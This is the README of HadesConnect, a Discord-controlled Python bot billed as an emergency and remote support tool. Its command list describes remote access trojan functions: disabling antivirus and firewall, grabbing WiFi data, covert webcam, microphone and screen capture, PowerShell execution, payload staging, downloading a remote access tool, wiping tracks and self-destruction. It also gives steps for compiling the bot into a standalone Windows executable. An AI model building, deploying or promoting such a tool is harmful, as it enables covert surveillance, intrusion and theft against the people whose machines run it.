HadesConnect is a software solution designed to enable emergency switch activation and remote desktop control through Discord. It integrates seamlessly with Discord's platform, allowing users to manage emergency procedures and access remote desktops directly from their Discord server. Ideal for swift response teams and remote support scenarios, HadesConnect ensures efficient communication and action during critical situations.
- Emergency Switch Activation: Trigger emergency procedures instantly via Discord commands.
- Remote Desktop Control: Access and control remote desktops securely through Discord.
- Real-time Communication: Facilitate swift response and coordination with team members.
- Customizable Settings: Configure permissions and settings to suit specific operational needs.
- 🐛 Fixed bugs:
- Fixed issue with Spotify remote device control not starting on device boot.
- 🚀 Added new features:
- 🔥 Deactivate antivirus firewall.
- 🖼️ Fixed screenshot and screen share.
- 🎵 Spotify remote device control: Start, stop, and control Spotify playback remotely.
- 🌐 Web and webhook-based control: Start a web server and utilize WebSocket (ws://) for real-time interactions.
- 🔋 Get battery status: Monitor and display device battery status.
- 🚨 Self-destruction of application: Implement a feature to self-destruct the application securely.
- 📜 Clear logs: Provide functionality to clear application logs securely.
- 🖥️ /!streamscreen: Sends the screenshot and sends.
- 💻 /powershell: Executes commands using PowerShell.
- 🤖 /bot_commmand: Executes a command related to a bot.
- 📝 /sys_log: Logs system activities.
- 🔒 /lock_sys: Locks the system.
- 📦 /set_payload: Sets a payload for execution.
- 📶 /grab_wifi: Grabs WiFi information.
- ⬇️ /download: Downloads a specified file.
- 🎥 /cam_list: Lists connected cameras.
- 🔄 /list_process: Lists running processes.
- ⛔ /kill_process: Terminates a specified process.
- 📡 /rat_down: Initiates a remote access tool download.
- 🔄 /sys_restart: Restarts the system.
- 🗑️ /clear: Clears the current operation.
- 🎤 /voice_rec [duration]: Initiates voice recognition. (Duration must be a positive integer.)
- 🖥️ /recscreen [duration]: Records the screen. (Invalid duration. Please specify a valid number after '!recscreen')
- 🛡️ /disableantivirus: Disables antivirus protection.
- 🛡️ /disablefirewall: Disables firewall protection.
- 🌐 /start_server: Starts a server.
- 🌐 /websocket_server: Starts a WebSocket server.
- 🎵 /now_playing: Gets the current song playing in Spotify.
▶️ /play [song]: Plays a song in Spotify. (Example: /play faded)- ⏸️ /pause: Pauses the current song in Spotify.
▶️ /resume: Resumes playback of the current song in Spotify.- ⏭️ /next: Plays the next song in the Spotify playlist.
- ⏮️ /previous: Plays the previous song in the Spotify playlist.
- ❤️ /like: Likes the current song in Spotify.
- 🔋 /battery: Retrieves battery status.
- 🗑️ /cleartracks: Clears tracks and logs.
- 💣 /self_destruct: Initiates self-destruction.
- 📶 /ping: Sends a ping to check status.
- ℹ️ /sys_info: Retrieves system information.
- 🖥️ /screen_share: Shares the screen.
- 📝 /start_logging: Starts logging activities.
- 📸 /camic [cam_id]: Takes a shot with the default webcam or the specified webcam ID.
Unauthorized use of this software is strictly prohibited. This includes but is not limited to:
- Unauthorized access or control of systems.
- Use of commands without proper authorization.
- Any activity not explicitly permitted by the software's intended use.
Violations will be subject to legal action and may result in severe penalties.
Please ensure all usage complies with applicable laws and regulations.
-
Create a Discord Application:
- Go to the Discord Developer Portal.
- Click on New Application and give your application a name.
- Navigate to the Bot tab on the left sidebar.
- Click Add Bot and confirm.
- Under the Token section, click Copy to get your bot token.
-
Keep Your Token Secure:
- Treat your token like a password. Do not share it publicly or commit it to version control.
-
Create a Spotify Application:
- Go to the Spotify Developer Dashboard.
- Log in or sign up for a Spotify Developer account.
- Click on Create an App and fill out the necessary details for your application.
-
Retrieve Client ID and Client Secret:
- Once your application is created, you'll see your Client ID displayed.
- Click on Show Client Secret to reveal and copy your Client Secret.
-
Keep Your Client Secret Secure:
- Treat your Client Secret like a password. Do not share it publicly or commit it to version control.
-
Use Tokens and Secrets in Your Application:
- Store your Discord Token and Spotify Client Secret securely in environment variables or a configuration file (e.g.,
.env
file) not included in your code repository.
- Store your Discord Token and Spotify Client Secret securely in environment variables or a configuration file (e.g.,
-
References:
OR
-
Clone or Download the Repository:
- Clone the repository using Git:
git clone https://github.com/haydenbanz/HadesConnect.git
- Alternatively, download the repository from HadesConnect download.
- Clone the repository using Git:
-
Navigate to the Directory:
- Open a terminal or command prompt.
- Change directory to HadesConnect:
cd HadesConnect
-
Install Required Python Packages:
- Install the necessary packages using pip:
pip install -r requirements.txt
- Install the necessary packages using pip:
-
Modify
bot.py
Configuration:- Open
bot.py
file in a text editor. - Add your Discord bot token, Spotify client ID, Spotify client secret:
- Discord bot token: Update on line 1182.
- Spotify client ID and client secret: Update on lines 74 & 75.
- Channel ID for voice (if applicable): Update on line 520.
- Open
-
Start HadesConnect:
- Launch HadesConnect by running:
python bot.py
- Launch HadesConnect by running:
-
Check Discord Server:
- Verify that the bot appears and functions correctly on your Discord server for remote access.
-
Install PyInstaller:
- Install PyInstaller using pip:
pip install pyinstaller
- Install PyInstaller using pip:
-
Install PyWin32 (if not installed):
- Install PyWin32 using pip:
pip install pywin32
- Install PyWin32 using pip:
-
Compile to Executable:
- Navigate to your project directory in the terminal or command prompt.
- Run one of the following commands:
- For Windows:
or
pyinstaller --onefile --add-data "*.py;." bot.py
pyinstaller --onefile --exclude-module pythoncom bot.py
- For Windows:
- This will create a standalone executable file in the
dist
directory.
- Configure the bot by editing the
bot.py
file. - Replace with your Discord token by changing
text_channel_id = # Replace with your desired text channel ID
. - Replace with your Discord token
bot.run('YOUR_TOKEN')
.
- /!streamscreen: Sends the screenshot and sends.
- /powershell: Executes commands using PowerShell.
- /bot_command: Executes a command related to a bot.
- /sys_log: Logs system activities.
- /lock_sys: Locks the system.
- /set_payload: Sets a payload for execution.
- /grab_wifi: Grabs WiFi information.
- /download: Downloads a specified file.
- /cam_list: Lists connected cameras.
- /list_process: Lists running processes.
- /kill_process: Terminates a specified process.
- /rat_down: Initiates a remote access tool download.
- /sys_restart: Restarts the system.
- /clear: Clears the current operation.
- /voice_rec [duration]: Initiates voice recognition. (Duration must be a positive integer.)
- /recscreen [duration]: Records the screen. (Invalid duration. Please specify a valid number after '!recscreen')
- /disableantivirus: Disables antivirus protection.
- /disablefirewall: Disables firewall protection.
- /start_server: Starts a server.
- /websocket_server: Starts a WebSocket server.
- /now_playing: Gets the current song playing in Spotify.
- /play [song]: Plays a song in Spotify. (Example: /play faded)
- /pause: Pauses the current song in Spotify.
- /resume: Resumes playback of the current song in Spotify.
- /next: Plays the next song in the Spotify playlist.
- /previous: Plays the previous song in the Spotify playlist.
- /like: Likes the current song in Spotify.
- /battery: Retrieves battery status.
- /cleartracks: Clears tracks and logs.
- /self_destruct: Initiates self-destruction.
- /ping: Sends a ping to check status.
- /sys_info: Retrieves system information.
- /screen_share: Shares the screen.
- /start_logging: Starts logging activities.
- /camic [cam_id]: Takes a shot with the default webcam or the specified webcam ID.
We welcome contributions to HadesConnect! If you have suggestions for improvements, found a bug, or have a new feature request, feel free to contribute.
-
Fork the Repository: Click the "Fork" button at the top right of the repository page to create your own copy of the repository.
-
Clone Your Fork: Clone your forked repository to your local machine using the following command:
git clone https://github.com/your-username/HadesConnect.git
-
Create a New Branch: Create a new branch for your feature or bugfix:
git checkout -b feature-or-bugfix-name
-
Make Changes: Make your changes or add your new feature.
-
Commit Your Changes: Commit your changes with a clear and concise commit message:
git commit -m "Description of the changes"
-
Push to Your Fork: Push your changes to your forked repository:
git push origin feature-or-bugfix-name
-
Submit a Pull Request: Go to the original repository and submit a pull request from your forked repository. Provide a detailed description of your changes in the pull request.
- Follow the existing code style.
- Write clear and concise commit messages.
- Test your changes thoroughly before submitting a pull request.
- Ensure that your changes do not introduce new bugs or break existing functionality.
- Be respectful and open to feedback during the code review process.
Thank you for contributing to HadesConnect!
Join our Discord server (Update Soon) for support, discussions, and updates related to DiscordGloom.
This project is licensed under the MIT License. See the LICENSE file for more details.
Unauthorized use is strictly prohibited.
📧 Email: cubedimension@protonmail.com
If you find this project helpful, consider buying us a coffee with cookies:
The creators of this project are not responsible